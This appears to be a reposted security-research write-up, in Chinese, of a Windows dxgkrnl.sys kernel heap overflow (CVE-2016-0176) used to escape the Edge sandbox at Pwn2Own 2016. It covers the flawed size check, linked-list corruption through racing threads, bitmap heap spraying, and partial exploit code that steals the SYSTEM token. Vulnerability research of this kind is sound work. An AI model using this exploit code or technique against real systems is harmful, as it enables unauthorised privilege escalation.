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RootSSV:92544

HistoryNov 19, 2016 - 12:00 a.m.

The Microsoft DirectX graphics kernel subsystem elevation of privilege vulnerability MS16-062）

2016-11-1900:00:00

Root

www.seebug.org

0.001 Low

EPSS

Percentile

19.2%

JSON

来源: 腾讯科恩实验室官方博客

作者： Daniel King (@long123king)

如何攻破微软的Edge浏览器

攻破微软的Edge浏览器至少需要包含两方面基本要素：浏览器层面的远程代码执行(RCE: Remote Code Execution)和浏览器沙箱绕过。浏览器层面的远程代码执行通常通过利用Javascript脚本的漏洞完成，而浏览器的沙箱绕过则可以有多种方式，比如用户态的逻辑漏洞，以及通过内核漏洞达到本地提权(EoP: Escalation of Privilege)。

微软Edge浏览器使用的沙箱是建立在Windows操作系统的权限检查机制之上的。在Windows操作系统中，资源是可以在全系统范围内被共享的，比如一个文件或者设备可以在不同进程间被共享。由于有些资源里面包含着敏感信息，而另外一些资源的完整性则关乎系统的正常运转，如果被破坏了就会导致整个系统的崩溃。因此当一个进程在访问资源时需要进行严格的权限检查。当一个资源被打开时，主调进程的令牌信息会与目标资源的安全描述符信息进行匹配检查。权限检查由几个不同层面的子检查组成：属主身份及组身份检查，特权检查，完整性级别及可信级别检查，Capability检查等等。上一代的沙箱是基于完整性级别机制的，在沙箱里面运行的应用程序处于Low完整性级别，因此无法访问处于Medium或者更高级别的资源。微软的Edge浏览器采用的是最新一代的沙箱机制，这代沙箱是基于AppContainer的，运行在沙箱里的应用程序依然处于Low完整性级别，当它们尝试访问资源时，除了进行完整性级别检查，还需要进行Capabilities的检查，这种检查更加细腻以及个性化。关于权限检查机制的更多细节，可以参考我在ZeroNights 2015上的演讲：Did You Get Your Token?

沙箱绕过的最常用的方法是通过内核态的漏洞利用，直接操作内核对象(DKOM: Direct Kernel Object Manipulation)以达到本地提权。

CVE-2016-0176

这个漏洞是位于dxgkrnl.sys驱动中，是一个内核堆溢出漏洞。

被篡改的数据结构定义如下：

typedef struct _D3DKMT_PRESENTHISTORYTOKEN
{
    D3DKMT_PRESENT_MODEL  Model; //D3DKMT_PM_REDIRECTED_FLIP      = 2,
    UINT                  TokenSize; // 0x438
    UINT64                CompositionBindingId;

    union
    {
        D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN        Flip;
        D3DKMT_BLTMODEL_PRESENTHISTORYTOKEN         Blt;
        D3DKMT_VISTABLTMODEL_PRESENTHISTORYTOKEN    VistaBlt;
        D3DKMT_GDIMODEL_PRESENTHISTORYTOKEN         Gdi;
        D3DKMT_FENCE_PRESENTHISTORYTOKEN            Fence;
        D3DKMT_GDIMODEL_SYSMEM_PRESENTHISTORYTOKEN  GdiSysMem;
        D3DKMT_COMPOSITION_PRESENTHISTORYTOKEN      Composition;
    }
    Token;
} D3DKMT_PRESENTHISTORYTOKEN;

我们把这个数据结构简称为”history token”，想要激发这个漏洞需要将关键成员变量按如下定义：

Model要设置为D3DKMT_PM_REDIRECTED_FLIP;
TokenSize要设置为0x438;

你大概已经猜到漏洞是存在在Token.Flip成员里面，该成员类型定义如下：

typedef struct _D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN
{
    UINT64                                     FenceValue;
    ULONG64                                    hLogicalSurface;
    UINT_PTR                                   dxgContext;
    D3DDDI_VIDEO_PRESENT_SOURCE_ID             VidPnSourceId;

    ……
 
    D3DKMT_DIRTYREGIONS                        DirtyRegions;
} D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN;

继续深入到DirtyRegions的类型定义：

typedef struct tagRECT
{
    LONG    left;
    LONG    top;
    LONG    right;
    LONG    bottom;
} RECT, *PRECT, NEAR *NPRECT, FAR *LPRECT; // 0x10 bytes

typedef struct _D3DKMT_DIRTYREGIONS
{
    UINT  NumRects;

    RECT  Rects[D3DKMT_MAX_PRESENT_HISTORY_RECTS]; // 0x10 * 0x10 = 0x100 bytes

     //#define D3DKMT_MAX_PRESENT_HISTORY_RECTS 16

} D3DKMT_DIRTYREGIONS;

现在我们已经到达了最基本类型的定义, 看到一个成员是DWORD类型的NumRects, 另外一个是数组RECT，其中每个元素的类型是Rects, 这个数组是定长的，有16个元素的空间，每个元素0x10字节，每个这个数组的总长度是0x100字节。

上图展示了被篡改的数据结构的布局以及它们之间的关系，左面一栏是我们在调用 Win32 API 函数D3DKMTPresent时从用户态传入的数据结构，中间一栏是dxgkrnl.sys驱动接收到并维护的对应的数据结构，它是从左面一栏的数据结构中拷贝出来的，而右面一栏是内嵌定义在history token中的成员Token.Flip的数据结构。我们知道一个union的大小是由其成员中最大的成员大小决定的，而在这里Token.Flip恰好是unionToken中最大的一个成员，也就是说整个history token数据结构是由Token.Flip中的内容填满直到结尾，这个特征非常重要，大大简化了利用的复杂度。

有了上面关于数据结构的知识，我们就可以很方便地理解这个漏洞了，现在展示的是引起漏洞的汇编代码片断：

loc_1C009832A: DXGCONTEXT::SubmitPresentHistoryToken(......) + 0x67B
        cmp     dword ptr[r15 + 334h], 10h // NumRects
        jbe     short loc_1C009834B; Jump if Below or Equal(CF = 1 | ZF = 1)
        call    cs : __imp_WdLogNewEntry5_WdAssertion
        mov     rcx, rax
        mov     qword ptr[rax + 18h], 38h
        call    cs : __imp_WdLogEvent5_WdAssertion

loc_1C009834B: DXGCONTEXT::SubmitPresentHistoryToken (......) + 0x6B2
        mov     eax, [r15 + 334h]
        shl     eax, 4
        add     eax, 338h
        jmp     short loc_1C00983BD

loc_1C00983BD: DXGCONTEXT::SubmitPresentHistoryToken (......) + 0x6A5
        lea     r8d, [rax + 7]
        mov     rdx, r15; Src
        mov     eax, 0FFFFFFF8h;
        mov     rcx, rsi; Dst
        and     r8, rax; Size
        call    memmove

在这片代码的入口处，r15寄存器指向的是history token结构的内存区域。代码首先从内存区域的0x334偏移处取出一个DWORD，并与0x10进行比较，通过上图我们可以看到取出的DWORD正是Token.Flip.NumRects成员，而0x10则是内嵌数组Token.Flip.Rects容量，所以这里比较的是Token.Flip.NumRects的值是否超出了Token.Flip.Rects数组的容量。如果你是在代码审查时遇到了这段代码，那么你可能会自言自语道大事不妙，微软已经意识到了这个潜在的溢出，并做了比较严格的检查。硬着头皮往下看，当溢出发生时，代码会以assertion的方式将这个异常情况记录到watch dog驱动，但是这个比对后的产生的两个代码分枝最终又都在loc_1C009834B处会合。可能你会想watch dog驱动有机会对代码溢出情况做出反应，通过bug check主动蓝屏(BSOD)，然而事实上什么都没有发生。不管你对Token.Flip.NumRects这个变量设置什么值，代码都会最终执行到loc_1C009834B处的代码块，这个代码块对Token.Flip.NumRects值做了一些基础的算术运算，并且用运算的结果指定memcpy操作拷贝的长度。

为了更加直观地说明问题，把汇编代码改写成对应的C++代码：

D3DKMT_PRESENTHISTORYTOKEN* hist_token_src = BufferPassedFromUserMode(…);
D3DKMT_PRESENTHISTORYTOKEN* hist_token_dst = ExpInterlockedPopEntrySList(…);

if(hist_token_src-&gt;dirty_regions.NumRects &gt; 0x10)
{
    // log via watch dog assertion, NOT work in free/release build
}

auto size = (hist_token_src-&gt;dirty_regions.NumRects * 0x10 + 0x338 + 7) / 8;
auto src = (uint8_t*)hist_token_src;
auto dst = (uint8_t*)hist_token_dst;
memcpy(dst, src, size);

事情更加简单明了，无论我们给Token.Flip.NumRects指定什么样的值，一个内存拷贝操作在所难免，拷贝操作的源数据正是我们通过调用Win32 APID3DKMTPresent从用户态传入的buffer，拷贝操作的目标是通过调用ExpInterlockedPopEntrySList从内核堆上分配的buffer，而拷贝操作的长度是通过计算拥有Token.Flip.NumRects个元素的数组的长度，再加上数组成员在history token结构体中的偏移，以及因为对齐产生的padding长度。如果我们为Token.Flip.NumRects指定了一个大于0x10的长度，那么内核堆溢出就发生了，我们可以控制溢出的长度，以及溢出的前0x38字节内容(如上面介绍数据结构布局的图所示，在从用户态传入的数据中，我们可以控制history token结构后面的0x38字节数据)。

这个漏洞非常有意思，因为微软已经预见了它的存在却没能阻止它的发生，我们可以从中得到的教训是不要滥用编程技巧，除非你知道你自己在干什么，比如assertion机制。

利用

对于一个堆利用来说，了解目标内存区域附近的内存布局至关重要，我们已经知道目标内存是通过ExpInterlockedPopEntrySList函数在内核态内存池中分配的。

通过简单调试，我们可以得到如下内存池信息：

kd&gt; u rip-6 L2
dxgkrnl!DXGCONTEXT::SubmitPresentHistoryToken+0x47b:
fffff801`cedb80fb call    qword ptr [dxgkrnl!_imp_ExpInterlockedPopEntrySList (fffff801`ced77338)]
fffff801`cedb8101 test    rax,rax
kd&gt; !pool rax
Pool page ffffc0012764c5a0 region is Paged pool
*ffffc0012764b000 : large page allocation, tag is DxgK, size is 0x2290 bytes
    Pooltag DxgK : Vista display driver support, Binary : dxgkrnl.sys

这是一个比较大的内存区域，大小为0x2290字节，因为这个大小已经超过了一个内存页的长度(一个内存页是0x1000字节)，所以它是以大页内存(Large Page Allocation)分配的，三个连续内存页被用来响应这次大页内存分配申请，为了节约内存，在0x2290之后的多余空间被回收并且链接到了Paged Pool的free list上面，供后续的小内存分配使用。在0x2290之后，会插入一个起到分隔作用的标记为Frag的内存分配。关于内核内存池及大页分配的详情，参考Tarjei Mandt的白皮书：Kernel Pool Exploitation on Windows 7。下面展示的是在0x2290偏移附近的内存内容：

kd&gt; db ffffc0012764b000+0x2290 L40
ffffc001`2764d290  00 01 02 03 46 72 61 67-00 00 00 00 00 00 00 00  ....Frag........
ffffc001`2764d2a0  90 22 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ."..............
ffffc001`2764d2b0  02 01 01 00 46 72 65 65-0b 43 44 9e f1 81 a8 47  ....Free.CD....G
ffffc001`2764d2c0  01 01 04 03 4e 74 46 73-c0 32 42 3a 00 e0 ff ff  ....NtFs.2B:....

驱动dxgkrnl.sys中的DXGPRESENTHISTORYTOKENQUEUE::GrowPresentHistoryBuffer函数用来分配并管理一个链接history token的单链表。每个history token的长度是0x438字节，加上内存池分配的头部及padding一共0x450字节，所以0x2290大小的内存被平均分成8个history token，并且以倒序的方式链接在单链表中。驱动dxgkrnl.sys意图将单链表以look-aside list的方式来响应单个history token的内存分配请求。

单链表初始状态时如下所示：

单链表在响应过一个history token分配请求后如下所示：

单链表在响应过两个history token分配请求后如下所示：

明确了溢出的目标内存处的内存布局，我们得到两种溢出方案：

方案1：溢出0x2290偏移后面的复用的小内存分配空间:

方案2：溢出相邻的单链表头部，转化成单链表利用:

方案1有诸多限制，因为我们只能控制溢出的前0x38字节内容，这意味着减掉padding空间，用于分隔的frag内存池分配项目的长度以及接下来的内存池分配的头部，我们没有多余发挥的空间。

方案2看起来很可行，虽然我们知道Windows内核现在已经强制对双链表进行完整性检查，但是对于单链表没有任何检查，因此我们可以通过覆盖单链表中的next指针达到重定向读写的目标。

为了进一步验证可行性，我们先在头脑里演绎一下方案2的种种可能。上面的几张图已经展示了从单链表中弹出两个history token的情形，此时我们可以溢出节点B，让它覆盖节点A的头部，然后我们将节点B压回单链表：

当我们把节点A也压回单链表时，接下来会怎样，会不会如我们所料将单链表的读写重定向到被溢出覆盖的next指针处

很遗憾并非如我们所料，这种重定向读写不会发生，因为当我们将节点A压回单链表时，覆盖的QWORD会恢复成指向节点B的指针：

我们回到已经弹出两个节点的状态再尝试另外一种可能：

这次我们先将节点A压回单链表:

然后我们溢出节点B，以覆盖节点A的头部，因为此时节点A已经被回收进单链表，所以不会再有任何操作可以将子节点A的头部恢复了。现在单链表已经被破坏了，它的第二个元素已经指向了溢出覆盖的QWORD所指向的内存处。:

经过了上面的演绎，我们对方案2信心十足，现在我们就开始动手吧！看起来我们必须对单链表乱序调用push和pop，至少要有两次连续的pop，我做了如下的尝试：

尝试1：循环调用D3DKMTPresent并传入可导致溢出的buffer。

结果失败了，经过调试发现每次都在重复pop节点A，使用后push节点A这个循环，根本不会产生乱序。原因很简单，循环调用D3DKMTPresent被逐个响应，所以我们必须同时调用它才能产生乱序。

尝试2：在多线程中循环调用D3DKMTPresent并传入可导致溢出的buffer。

结果又失败了，经过一些简单的逆向分析，D3DKMTPresent的调用路径应该是被加锁保护了。

经历了两次挫败，不免开始怀疑人生，是否会出现两次连续的pop呢？然后很快就意识到绝对可行，肯定是我姿势不对，否则这相对复杂的单链表就退化成单个变量了，肯定有其他的内核调用路径可以激发单链表pop操作。我编写了一个windbg脚本记录每次push和pop操作，然后尝试打开一些图形操作密集的应用程序，只要发现了两次连续的pop就证明发现了第二条路径。经过简单的尝试，奇迹出现了，当我打开Solitaire游戏时，两次pop出现了，经过简单的调试，发现BitBlt API会触发第二条pop的内核路径。

尝试3：在多线程中循环调用D3DKMTPresent并传入可导致溢出的buffer，同时在另外一批多线程中循环调用BitBlt。

这一次终于成功地将单链表中的next指针重定向到指定位置，达到了内核态任意地址写的目的。但是这种写的能力有限，很难重复，而我们想要通过DKOM方式偷换令牌需要多次内核读写，而这种矛盾在Pwn2Own 2016的3次尝试总时间15分钟的严苛比赛规则下显得更加突出，我们需要一些其他技巧。

其他技巧

如何达到可重复的内核态任意地址读写

为了达到这个目标，我使用win32k的位图bitmap对象作为中间目标。首先向内核态内存中spray大量的bitmap对象，然后猜测它们的位置，并试图通过上面的重定向写技巧修改它们的头部，当我成功地命中第一个bitmap对象后，通过修改它的头部中的buffer指针和长度，让其指向第二个bitmap对象。因此总共需要控制两个bitmap对象，第一个用来控制读写的地址，而第二个用来控制读写的内容。

再详细地讲，我一共向内核内存中spray了4GB的bitmap对象，首先通过喷射大尺寸的256MB的bitmap对象来锁定空间以及引导内存对齐，然后将它们逐个替换成1MB的小尺寸bitmap对象，这些对象肯定位于0x100000的边界处，就使得猜测它们的地址更加简单。

在猜测bitmap对象地址的过程中需要信息泄露来加快猜测速度，这是通过user32! gSharedInfo完成的。

偷换令牌

有了可重复地任意地址读写的能力后，再加上通过sidt泄露内核模块的地址，我们可以方便地定位到nt!PspCidTable指向的句柄表，然后从中找出当前进程以及system进程对应的_EPROCESS结构体，进而找到各自的_TOKEN结构的地址，从而完成替换。

部分利用代码

VOID ThPresent(THREAD_HOST * th)
{
    SIZE_T hint = 0;
    while (TRUE)
    {
        HIST_TOKEN ht = { 0, };
        HtInitialize(&ht);

        SIZE_T victim_surf_obj = ThNextGuessedAddr(th, ++hint);

        SIZE_T buffer_ptr = victim_surf_obj + 0x200000 + 0x18;
        th-&gt;backupBufferPtr1 = victim_surf_obj + 0x258;
        th-&gt;backupBufferPtr2 = victim_surf_obj + 0x200000 + 0x258;

        SIZE_T back_offset = 0x10;

        SURFOBJ surf_obj = { 0, };

        surf_obj.cjBits = 0x80;
        surf_obj.pvBits = (PVOID)buffer_ptr;
        surf_obj.pvScan0 = (PVOID)buffer_ptr;
        surf_obj.sizlBitmap.cx = 0x04;
        surf_obj.sizlBitmap.cy = 0x08;
        surf_obj.iBitmapFormat = 0x06;
        surf_obj.iType = 0;
        surf_obj.fjBitmap = 0x01;
        surf_obj.lDelta = 0x10;

        DWORD dwBuff = 0x04800200;
        HtSetBuffer(&ht, 0x18 + th-&gt;memberOffset - back_offset, (unsigned char*)&surf_obj, 0x68);
        HtSetBuffer(&ht, 0x70 + th-&gt;memberOffset - back_offset, &dwBuff, sizeof(DWORD));


        if (th-&gt;memberOffset - back_offset + 0xE8 &lt; 0x448)
        {
            SIZE_T qwBuff = victim_surf_obj + 0xE0;
            HtSetBuffer(&ht, 0xE0 + th-&gt;memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
            HtSetBuffer(&ht, 0xE8 + th-&gt;memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
        }


        if (th-&gt;memberOffset - back_offset + 0x1C0 &lt; 0x448)
        {
            SIZE_T qwBuff = victim_surf_obj + 0x1B8;
            HtSetBuffer(&ht, 0x1B8 + th-&gt;memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
            HtSetBuffer(&ht, 0x1C0 + th-&gt;memberOffset - back_offset, &qwBuff, sizeof(SIZE_T));
        }

        HtOverflowNextSListEntry(&ht, victim_surf_obj);
        HtTrigger(&ht);

        if (th-&gt;triggered)
            break;
    }
}

VOID ThTrigger(THREAD_HOST * th)
{
    SIZE_T i = 0;
    HANDLE threads[TH_MAX_THREADS] = { 0, };
    unsigned char second_buffer[0x78] = { 0, };

    for (SIZE_T i = 0; i &lt; TH_MAX_THREADS; i++)
    {
        if (th-&gt;triggered)
        {
            break;
        }

        if (i == 9)
        {
            DWORD thread_id = 0;
            threads[i] = CreateThread(NULL, 0, ProbeThreadProc, th, 0, &thread_id);
        }
        else if (i % 3 != 0 && i &gt; 0x10)
        {
            DWORD thread_id = 0;
            threads[i] = CreateThread(NULL, 0, PresentThreadProc, th, 0, &thread_id);
        }           
        else
        {
            DWORD thread_id = 0;
            threads[i] = CreateThread(NULL, 0, BitbltThreadProc, th, 0, &thread_id);
        }
    }

    for (i = 0; i &lt; TH_MAX_THREADS; i++)
    {
        if (threads[i] != NULL)
        {
            if (WAIT_OBJECT_0 == WaitForSingleObject(threads[i], INFINITE))
            {
                CloseHandle(threads[i]);
                threads[i] = NULL;
            }
        }
    }

    Log("trigged\n");

    ThRead(th, (const void*)th-&gt;backupBufferPtr2, second_buffer, 0x78);

    ADDR_RESOLVER ar = { 0, };
    ArInitialize(&ar, th);

    SIZE_T nt_addr = ArNTBase(&ar); 
    SIZE_T psp_cid_table_addr = nt_addr + PSP_CIDTABLE_OFFSET;
    SIZE_T psp_cid_table_value;

    ThRead(th, psp_cid_table_addr, &psp_cid_table_value, 0x08);

    SIZE_T psp_cid_table[0x0C] = { 0, };
    ThRead(th, psp_cid_table_value, psp_cid_table, 0x60);

    SIZE_T table_code = psp_cid_table[1];
    SIZE_T handle_count = psp_cid_table[0x0B] & 0x00000000ffffffff;

    SIZE_T curr_pid = GetCurrentProcessId();

    do
    {
        ThParseCidTable(th, table_code, handle_count);
        Sleep(1000);
    } while (th-&gt;currentEprocess == NULL || th-&gt;systemEprocess == NULL);

    SIZE_T curr_proc = th-&gt;currentEprocess;
    SIZE_T system_proc = th-&gt;systemEprocess;

    SIZE_T system_token = 0;
    ThRead(th, (system_proc + 0x358), &system_token, 0x08);

    SIZE_T curr_token = 0;
    ThRead(th, (curr_proc + 0x358), &curr_token, 0x08);

    ThWrite(th, (curr_proc + 0x358), &system_token, 0x08);

    ThRead(th, (curr_proc + 0x358), &curr_token, 0x08);
    
    ThRestore(th);

    Log("elevated\n");

    Sleep(3600000);

    return;
}

参考:

0.001 Low

EPSS

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19.2%

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